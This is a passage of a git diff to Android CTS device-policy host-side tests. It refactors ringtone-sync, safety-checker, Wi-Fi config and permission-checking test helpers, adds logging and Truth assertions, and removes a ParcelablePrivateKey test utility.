-            RingtoneManager.setActualDefaultRingtoneUri(mContext, ringtoneType, null);
-            assertEquals(0, Settings.Secure.getInt(mContentResolver, SYNC_PARENT_SOUNDS));
-            validateRingtoneManagerGetRingtone(null, ringtoneType);
-        } finally {
-            // Reset the setting we just changed.
-            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 1);
-        }
-
-        // After re-unifying, the uri should be the same as the parent's uri.
-        Uri postSyncUri = RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType);
-        assertEquals(originalUri, postSyncUri);
-
-        // Manually disabling sync again, without changing settings, should put the ringtone uri
-        // back to its earlier value of null.
-        try {
-            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 0);
-            assertNull(RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType));
-        } finally {
-            Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 1);
-        }
-    }
-
-    public void testRingtoneDisableSync() throws Exception {
-        testSoundDisableSync(RingtoneManager.TYPE_RINGTONE);
-    }
-
-    public void testNotificationDisableSync() throws Exception {
-        testSoundDisableSync(RingtoneManager.TYPE_NOTIFICATION);
-    }
-
-    public void testAlarmDisableSync() throws Exception {
-        testSoundDisableSync(RingtoneManager.TYPE_ALARM);
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
index dddf76c..ebb26fc 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -27,7 +27,7 @@
 public final class DevicePolicySafetyCheckerIntegrationTest extends BaseProfileOwnerTest {
 
     private final DevicePolicySafetyCheckerIntegrationTester mTester =
-            new DevicePolicySafetyCheckerIntegrationTester();
+            new DevicePolicySafetyCheckerIntegrationTester(/* forDeviceOwner= */ false);
 
     /**
      * Tests that all safety-aware operations are properly implemented.
diff --git a/hostsidetests/devicepolicy/app/SharingApps/OWNERS b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
index 2638902..a491b1e 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/OWNERS
+++ b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
@@ -1,5 +1,2 @@
 # Bug component: 168445
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
index 918094c..5e1f248 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivity.java
@@ -20,10 +20,10 @@
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
 import android.view.WindowManager;
 
-import java.lang.Override;
-
 /**
  * A simple activity to install for various users to test LauncherApps.
  */
@@ -46,6 +46,11 @@
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_LAUNCHED_ACTION);
         sendBroadcast(reply);
+
+        final WindowInsetsController insetsController = getWindow().getInsetsController();
+        if (insetsController != null) {
+            insetsController.hide(WindowInsets.Type.navigationBars());
+        }
     }
 
     @Override
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index 9998a48..8519163 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -27,6 +27,7 @@
     test_suites: [
         "arcts",
         "cts",
+        "gts",
         "general-tests",
         "mts",
     ],
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
index 32d53d1..c23ee9c 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/src/com/android/cts/deviceowner/wificonfigcreator/WifiConfigCreatorActivity.java
@@ -16,32 +16,34 @@
 
 package com.android.cts.deviceowner.wificonfigcreator;
 
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
+import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
 import android.util.Log;
 
 import com.android.compatibility.common.util.WifiConfigCreator;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_CREATE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_NETID;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_PASSWORD;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SECURITY_TYPE;
-import static com.android.compatibility.common.util.WifiConfigCreator.EXTRA_SSID;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_REMOVE_WIFI_CONFIG;
-import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
-import static com.android.compatibility.common.util.WifiConfigCreator.ACTION_UPDATE_WIFI_CONFIG;
 
 /**
  * A simple activity to create and manage wifi configurations.
  */
-public class WifiConfigCreatorActivity extends Activity {
+public final class WifiConfigCreatorActivity extends Activity {
     private static final String TAG = "WifiConfigCreatorActivity";
 
     @Override
     public void onCreate(Bundle icicle) {
         super.onCreate(icicle);
-        Log.i(TAG, "Created for user " + android.os.Process.myUserHandle());
         WifiConfigCreator configCreator = new WifiConfigCreator(this);
+        Log.i(TAG, "onCreate(): user=" + android.os.Process.myUserHandle() + " creator="
+                + configCreator);
         try {
             Intent intent = getIntent();
             String action = intent.getAction();
@@ -49,12 +51,15 @@
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
-                configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "Creating network " + ssid);
+                int netId = configCreator.addNetwork(ssid, false, securityType, password);
+                Log.d(TAG, "new id : " + netId);
             } else if (ACTION_UPDATE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
                 String ssid = intent.getStringExtra(EXTRA_SSID);
                 int securityType = intent.getIntExtra(EXTRA_SECURITY_TYPE, SECURITY_TYPE_NONE);
                 String password = intent.getStringExtra(EXTRA_PASSWORD);
+                Log.d(TAG, "Updating network " + ssid + " (id " + netId + ")");
                 configCreator.updateNetwork(netId, ssid, false, securityType, password);
             } else if (ACTION_REMOVE_WIFI_CONFIG.equals(action)) {
                 int netId = intent.getIntExtra(EXTRA_NETID, -1);
@@ -65,6 +70,7 @@
                 Log.i(TAG, "Unknown command: " + action);
             }
         } catch (InterruptedException ie) {
+            Thread.currentThread().interrupt();
             Log.e(TAG, "Interrupted while changing wifi settings", ie);
         } finally {
             finish();
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index 0e53817..c4aae94 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -76,11 +76,17 @@
             OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
     };
 
+    private final boolean mForDeviceOwner;
+
+    public DevicePolicySafetyCheckerIntegrationTester(boolean forDeviceOwner) {
+        mForDeviceOwner = forDeviceOwner;
+    }
+
     /**
      * Tests that all safety-aware operations are properly implemented.
      */
     public final void testAllOperations(DevicePolicyManager dpm, ComponentName admin) {
-        Log.d(TAG, "testAllOperations: dpm=" + dpm + ", admin=" + admin);
+        Log.d(TAG, "testAllOperations(): dpm=" + dpm + ", admin=" + admin);
         Objects.requireNonNull(dpm);
 
         List<String> failures = new ArrayList<>();
@@ -109,6 +115,7 @@
      * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
      */
     public void testIsSafeOperation(DevicePolicyManager dpm) {
+        Log.d(TAG, "testIsSafeOperation(): dpm=" + dpm);
         // Currently there's just one reason...
         int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
         Log.d(TAG, "testIsSafeOperation(): dpm=" + dpm + ", reason="
@@ -130,6 +137,7 @@
      * Tests {@link UnsafeStateException} properties.
      */
     public void testUnsafeStateException(DevicePolicyManager dpm, ComponentName admin) {
+        Log.d(TAG, "testUnsafeStateException(): dpm=" + dpm + ", admin=" + admin);
         // Currently there's just one reason...
         int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
         // Operation doesn't really matter
@@ -156,6 +164,7 @@
      * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
      */
     public void testOnOperationSafetyStateChanged(Context context, DevicePolicyManager dpm) {
+        Log.d(TAG, "testOnOperationSafetyStateChanged(): dpm=" + dpm);
         // Currently there's just one reason...
         int reason = OPERATION_SAFETY_REASON_DRIVING_DISTRACTION;
         // Operation doesn't really matter
@@ -163,27 +172,28 @@
         Log.d(TAG, "testOnOperationSafetyStateChanged(): dpm=" + dpm
                 + ", reason=" + operationSafetyReasonToString(reason)
                 + ", operation=" + operationToString(operation));
-        OperationSafetyChangedCallback receiver = OperationSafetyChangedCallback.register(context);
+        OperationSafetyChangedCallback receiver = OperationSafetyChangedCallback.register(context,
+                mForDeviceOwner);
         try {
             setOperationUnsafe(dpm, operation, reason);
             // Must force OneTimeSafetyChecker to generate the event by calling the unsafe operation
             assertThrows(UnsafeStateException.class, () -> dpm.lockNow());
 
             Log.d(TAG, "Waiting isSafe=false event");
-            assertNextEvent(receiver, reason, /* isSafe= */ false);
+            assertNextEvent(receiver, operation, reason, /* isSafe= */ false);
 
             // OneTimeSafetyChecker automatically disables itself after one operation, which in turn
             // triggers another event
             Log.d(TAG, "Waiting isSafe=true event");
-            assertNextEvent(receiver, reason, /* isSafe= */ true);
+            assertNextEvent(receiver, operation, reason, /* isSafe= */ true);
         } finally {
             receiver.unregister(context);
         }
     }
 
-    private void assertNextEvent(OperationSafetyChangedCallback receiver,
+    private void assertNextEvent(OperationSafetyChangedCallback receiver, int operation,
             int reason, boolean isSafe) {
-        OperationSafetyChangedEvent event = receiver.getNextEvent();
+        OperationSafetyChangedEvent event = receiver.getNextEvent(operation);
         Log.v(TAG, "Received event: " + event);
         assertWithMessage("event (%s) reason", event).that(event.reason).isEqualTo(reason);
         assertWithMessage("event (%s) safety state", event).that(event.isSafe).isEqualTo(isSafe);
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
index fd2f2ab..0947bd6 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/OperationSafetyChangedCallback.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.devicepolicy;
 
+import static android.app.admin.DevicePolicyManager.operationToString;
+
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -46,10 +48,13 @@
     private final LinkedBlockingQueue<OperationSafetyChangedEvent> mEvents =
             new LinkedBlockingQueue<>();
 
+    private final boolean mForDeviceOwner;
+
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
             String action = intent.getAction();
+            Log.v(TAG, "onReceive(): " + intent);
             if (!ACTION_STATE_CHANGED.equals(action)) {
                 Log.e(TAG, "Invalid action " + action + " on intent " + intent);
                 return;
@@ -70,16 +75,19 @@
         }
     };
 
-    private OperationSafetyChangedCallback() {}
+    private OperationSafetyChangedCallback(boolean forDeviceOwner) {
+        mForDeviceOwner = forDeviceOwner;
+    }
 
     /**
      * Creates and registers a callback in the given context.
      */
-    public static OperationSafetyChangedCallback register(Context context) {
+    public static OperationSafetyChangedCallback register(Context context, boolean forDeviceOwner) {
         Log.d(TAG, "Registering " + ACTION_STATE_CHANGED + " on user " + context.getUserId());
-        OperationSafetyChangedCallback callback = new OperationSafetyChangedCallback();
+        OperationSafetyChangedCallback callback = new OperationSafetyChangedCallback(
+                forDeviceOwner);
         TestAppHelper.registerTestCaseReceiver(context, callback.mReceiver,
-                new IntentFilter(ACTION_STATE_CHANGED));
+                new IntentFilter(ACTION_STATE_CHANGED), forDeviceOwner);
         return callback;
     }
 
@@ -88,7 +96,7 @@
      */
     public void unregister(Context context) {
         Log.d(TAG, "Unregistering " + mReceiver + " on user " + context.getUserId());
-        TestAppHelper.unregisterTestCaseReceiver(context, mReceiver);
+        TestAppHelper.unregisterTestCaseReceiver(context, mReceiver, mForDeviceOwner);
     }
 
     /**
@@ -103,7 +111,7 @@
     /**
      * Gets next event or fail.
      */
-    public OperationSafetyChangedEvent getNextEvent() {
+    public OperationSafetyChangedEvent getNextEvent(int operation) {
         OperationSafetyChangedEvent event = null;
         try {
             event = mEvents.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS);
@@ -114,8 +122,8 @@
             throw new AssertionFailedError(msg);
         }
         if (event == null) {
-            String msg = "didn't receive an OperationSafetyChangedEvent in "
-                    + TIMEOUT_MS + "ms on " + this;
+            String msg = "didn't receive an OperationSafetyChangedEvent for "
+                    + operationToString(operation) + " in " + TIMEOUT_MS + "ms on " + this;
             Log.e(TAG, msg);
             throw new AssertionFailedError(msg);
         }
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/ParcelablePrivateKey.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/ParcelablePrivateKey.java
deleted file mode 100644
index 3d12c6d..0000000
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/ParcelablePrivateKey.java
+++ /dev/null
@@ -1,126 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.devicepolicy;
-
-import android.os.Parcel;
-import android.os.Parcelable;
-import android.util.Log;
-
-import java.security.KeyFactory;
-import java.security.NoSuchAlgorithmException;
-import java.security.PrivateKey;
-import java.security.spec.InvalidKeySpecException;
-import java.security.spec.PKCS8EncodedKeySpec;
-
-import javax.security.auth.DestroyFailedException;
-
-/**
- * A {@link PrivateKey} that can be transmitted as a {@link Parcelable}.
- *
- * <p>TODO(b/191150645): it's needed because the {@code PrivateKey} returned by {@code KeyFactory}
- * does not properly implements {@code Serializable}.
- */
-public final class ParcelablePrivateKey implements PrivateKey, Parcelable {
-
-    private static final long serialVersionUID = 1L;
-
-    private static final String TAG = ParcelablePrivateKey.class.getSimpleName();
-
-    private final String mAlgorithm;
-    private final byte[] mEncodedKey;
-    private final PrivateKey mPrivateKey;
-
-    /**
-     * Default constructor.
-     */
-    public ParcelablePrivateKey(String algorithm, byte[] encodedKey)
-            throws NoSuchAlgorithmException, InvalidKeySpecException {
-        mAlgorithm = algorithm;
-        mEncodedKey = encodedKey;
-        mPrivateKey = KeyFactory.getInstance(algorithm).generatePrivate(
-                new PKCS8EncodedKeySpec(encodedKey));
-        Log.d(TAG, "ParcelablePrivateKey(): algorithm=" + algorithm
-                + ", encodedKey.length=" + encodedKey.length
-                + " pk.format=" + mPrivateKey.getFormat()
-                + " pk.length=" + mPrivateKey.getEncoded().length);
-    }
-
-    @Override
-    public String getAlgorithm() {
-        return mPrivateKey.getAlgorithm();
-    }
-
-    @Override
-    public String getFormat() {
-        return mPrivateKey.getFormat();
-    }
-
-    @Override
-    public byte[] getEncoded() {
-        return mPrivateKey.getEncoded();
-    }
-
-    @Override
-    public void destroy() throws DestroyFailedException {
-        mPrivateKey.destroy();
-    }
-
-    @Override
-    public boolean isDestroyed() {
-        return mPrivateKey.isDestroyed();
-    }
-
-    @Override
-    public int describeContents() {
-        return 0;
-    }
-
-    @Override
-    public void writeToParcel(Parcel dest, int flags) {
-        dest.writeString(mAlgorithm);
-        dest.writeInt(mEncodedKey.length);
-        dest.writeByteArray(mEncodedKey);
-    }
-
-    @Override
-    public String toString() {
-        return "ParcelablePrivateKey[algorithm=" + mAlgorithm
-                + ", length=" + mEncodedKey.length + ']';
-    }
-
-    public static final Parcelable.Creator<ParcelablePrivateKey> CREATOR =
-            new Parcelable.Creator<ParcelablePrivateKey>() {
-
-        public ParcelablePrivateKey createFromParcel(Parcel in) {
-            String algorithm = in.readString();
-            int arrayLength = in.readInt();
-            byte[] key = new byte[arrayLength];
-            in.readByteArray(key);
-            try {
-                return new ParcelablePrivateKey(algorithm, key);
-            } catch (Exception e) {
-                throw new IllegalArgumentException("could not parse key: algorithm=" + algorithm
-                        + ", key_size=" + arrayLength, e);
-            }
-        }
-
-        public ParcelablePrivateKey[] newArray(int size) {
-            return new ParcelablePrivateKey[size];
-        }
-    };
-
-}
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
index 042ae0c..b5501ed 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionBroadcastReceiver.java
@@ -16,8 +16,7 @@
 
 package com.android.cts.devicepolicy;
 
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -28,32 +27,33 @@
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.TimeUnit;
 
-public class PermissionBroadcastReceiver extends BroadcastReceiver {
+public final class PermissionBroadcastReceiver extends BroadcastReceiver {
+
     private static final String TAG = "PermissionBroadcastReceiver";
 
     private static final String EXTRA_GRANT_STATE
             = "com.android.cts.permission.extra.GRANT_STATE";
     private static final int PERMISSION_ERROR = -2;
 
-    private BlockingQueue<Integer> mResultsQueue;
+    private static final long TIMEOUT_SEC = 30;
 
-    public PermissionBroadcastReceiver() {
-        mResultsQueue = new ArrayBlockingQueue<>(1);
-    }
+    private final BlockingQueue<Integer> mResultsQueue = new ArrayBlockingQueue<>(1);
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Integer result = intent.getIntExtra(EXTRA_GRANT_STATE, PERMISSION_ERROR);
-        Log.d(TAG, "Grant state received " + result);
-        assertTrue(mResultsQueue.add(result));
+        Log.d(TAG, "Grant state received " + result + " ("
+                + PermissionUtils.permissionToString(result) + ")");
+        assertWithMessage("added %s to queue", result).that(mResultsQueue.add(result)).isTrue();
     }
 
     public int waitForBroadcast() throws Exception {
-        Integer result = mResultsQueue.poll(30, TimeUnit.SECONDS);
+        Integer result = mResultsQueue.poll(TIMEOUT_SEC, TimeUnit.SECONDS);
         mResultsQueue.clear();
-        assertNotNull("Expected broadcast to be received within 30 seconds but did not get it",
-                result);
-        Log.d(TAG, "Grant state retrieved " + result);
+        assertWithMessage("Expected broadcast to be received within %s seconds but did not get it",
+                TIMEOUT_SEC).that(result).isNotNull();
+        Log.d(TAG, "Grant state retrieved " + result + " ("
+                + PermissionUtils.permissionToString(result) + ")");
         return result;
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index 74790f3..e6b3e1e 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -21,16 +21,19 @@
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
-import static junit.framework.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertWithMessage;
 
-import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
 
 import android.Manifest;
 import android.app.AppOpsManager;
+import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -38,17 +41,24 @@
 import android.support.test.uiautomator.Until;
 import android.util.Log;
 
+import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Set;
+import java.util.regex.Pattern;
 
 public class PermissionUtils {
-    private static final String LOG_TAG = PermissionUtils.class.getName();
+    private static final String LOG_TAG = PermissionUtils.class.getSimpleName();
     private static final Set<String> LOCATION_PERMISSIONS = new HashSet<String>();
 
+    private static final Context sContext = ApplicationProvider.getApplicationContext();
+
     static {
         LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_FINE_LOCATION);
         LOCATION_PERMISSIONS.add(Manifest.permission.ACCESS_BACKGROUND_LOCATION);
@@ -66,7 +76,16 @@
             throws Exception {
         launchActivityWithAction(permission, ACTION_CHECK_HAS_PERMISSION,
                 packageName, activityName);
-        assertEquals(expected, receiver.waitForBroadcast());
+        assertBroadcastReceived(receiver, expected);
+    }
+
+    private static void assertBroadcastReceived(PermissionBroadcastReceiver receiver,
+            int expected) throws Exception {
+        int actual = receiver.waitForBroadcast();
+        assertWithMessage("value returned by %s (%s=%s, %s=%s)", receiver,
+                expected, permissionToString(expected),
+                actual, permissionToString(actual))
+                        .that(actual).isEqualTo(expected);
     }
 
     public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver receiver,
@@ -74,7 +93,7 @@
             throws Exception {
         launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
                 packageName, activityName);
-        assertEquals(expected, receiver.waitForBroadcast());
+        assertBroadcastReceived(receiver, expected);
     }
 
     public static void launchActivityAndRequestPermission(PermissionBroadcastReceiver
@@ -101,8 +120,8 @@
         }
         launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
                 packageName, activityName);
-        pressPermissionPromptButton(device, resNames.toArray(new String[0]));
-        assertEquals(expected, receiver.waitForBroadcast());
+        pressPermissionPromptButton(device, expected, resNames.toArray(new String[0]));
+        assertBroadcastReceived(receiver, expected);
     }
 
     private static void launchActivityWithAction(String permission, String action,
@@ -112,31 +131,60 @@
         launchIntent.putExtra(EXTRA_PERMISSION, permission);
         launchIntent.setAction(action);
         launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+        Log.d(LOG_TAG, "Launching activity (with intent " + launchIntent + ") for permission "
+                + permission + " on uid " + Process.myUid());
         getContext().startActivity(launchIntent);
     }
 
     public static void checkPermission(String permission, int expected, String packageName) {
-        assertEquals(getContext().getPackageManager()
-                .checkPermission(permission, packageName), expected);
+        checkPermission(getContext(), permission, expected, packageName);
+    }
+
+    public static void checkPermission(Context context, String permission, int expected,
+            String packageName) {
+        PackageManager pm = context.getPackageManager();
+        Log.d(LOG_TAG, "checkPermission(" + permission + ", " + expected + ", " + packageName
+                + "): " + "using " + pm + " on user " + context.getUser());
+        assertPermission(permission, packageName, pm.checkPermission(permission, packageName),
+                expected);
+    }
+
+    private static void assertPermission(String permission, String packageName, int actual,
+            int expected) {
+        assertWithMessage("Wrong status for permission %s on package %s (where %s=%s and %s=%s)",
+                permission, packageName,
+                expected, permissionToString(expected), actual, permissionToString(actual))
+                        .that(actual).isEqualTo(expected);
     }
 
     /**
-     * Correctly check a runtime permission. This also works for pre-m apps.
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
      */
     public static void checkPermissionAndAppOps(String permission, int expected, String packageName)
             throws Exception {
-        assertEquals(checkPermissionAndAppOps(permission, packageName), expected);
+        checkPermissionAndAppOps(getContext(), permission, expected, packageName);
     }
 
-    private static int checkPermissionAndAppOps(String permission, String packageName)
-            throws Exception {
-        PackageInfo packageInfo = getContext().getPackageManager().getPackageInfo(packageName, 0);
-        if (getContext().checkPermission(permission, -1, packageInfo.applicationInfo.uid)
+    /**
+     * Correctly checks a runtime permission. This also works for pre-{@code M} apps.
+     */
+    public static void checkPermissionAndAppOps(Context context, String permission, int expected,
+            String packageName) throws Exception {
+        assertPermission(permission, packageName,
+                checkPermissionAndAppOps(context, permission, packageName), expected);
+    }
+
+    private static int checkPermissionAndAppOps(Context context, String permission,
+            String packageName) throws Exception {
+        Log.d(LOG_TAG, "checkPermissionAndAppOps(): user=" + context.getUser()
+                + ", permission=" + permission + ", packageName=" + packageName);
+        PackageInfo packageInfo = context.getPackageManager().getPackageInfo(packageName, 0);
+        if (context.checkPermission(permission, -1, packageInfo.applicationInfo.uid)
                 == PERMISSION_DENIED) {
             return PERMISSION_DENIED;
         }
 
-        AppOpsManager appOpsManager = getContext().getSystemService(AppOpsManager.class);
+        AppOpsManager appOpsManager = context.getSystemService(AppOpsManager.class);
         if (appOpsManager != null && appOpsManager.noteProxyOpNoThrow(
                 AppOpsManager.permissionToOp(permission), packageName,
                 packageInfo.applicationInfo.uid, null, null)
@@ -151,10 +199,30 @@
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
-    private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+    private static void pressPermissionPromptButton(UiDevice device, int expectedAction,
+            String[] resNames) {
+        UiObject2 button = findPermissionPromptButton(device, expectedAction, resNames);
+        Log.d(LOG_TAG, "Clicking on '" + button.getText() + "'");
+        button.click();
+    }
+
+    private static UiObject2 findPermissionPromptButton(UiDevice device, int expectedAction,
+            String[] resNames) {
         if ((resNames == null) || (resNames.length == 0)) {
             throw new IllegalArgumentException("resNames must not be null or empty");
         }
+        String action;
+        switch (expectedAction) {
+            case PERMISSION_DENIED:
+                action = "PERMISSION_DENIED";
+                break;
+            case PERMISSION_GRANTED:
+                action = "PERMISSION_GRANTED";
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected action: "
+                        + expectedAction);
+        }
 
         // The dialog was moved from the packageinstaller to the permissioncontroller.
         // Search in multiple packages so the test is not affixed to a particular package.
@@ -163,27 +231,96 @@
                 "com.android.packageinstaller",
                 "com.android.permissioncontroller"};
 
-        boolean foundButton = false;
+        Log.v(LOG_TAG, "findPermissionPromptButton(): pkgs= " + Arrays.toString(possiblePackages)
+                + ", action=" + action + ", resIds=" + Arrays.toString(resNames));
         for (String resName : resNames) {
             for (String possiblePkg : possiblePackages) {
                 BySelector selector = By
                         .clazz(android.widget.Button.class.getName())
                         .res(possiblePkg, resName);
-                mDevice.wait(Until.hasObject(selector), 5000);
-                UiObject2 button = mDevice.findObject(selector);
+                Log.v(LOG_TAG, "trying " + selector);
+                device.wait(Until.hasObject(selector), 5000);
+                UiObject2 button = device.findObject(selector);
                 Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
                         possiblePkg, button != null));
                 if (button != null) {
-                    foundButton = true;
-                    button.click();
-                    break;
+                    return button;
                 }
             }
-            if (foundButton) {
-                break;
-            }
         }
 
-        assertTrue("Couldn't find any button", foundButton);
+        if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            fail("Did not find button for action " + action + " on packages "
+                    + Arrays.toString(possiblePackages));
+        }
+        return findPermissionPromptButtonAutomotive(device, expectedAction);
+    }
+
+    private static UiObject2 findPermissionPromptButtonAutomotive(UiDevice device,
+            int expectedAction) {
+        // TODO: ideally the UI should use a more specific resource, so it doesn't need to search
+        // for text
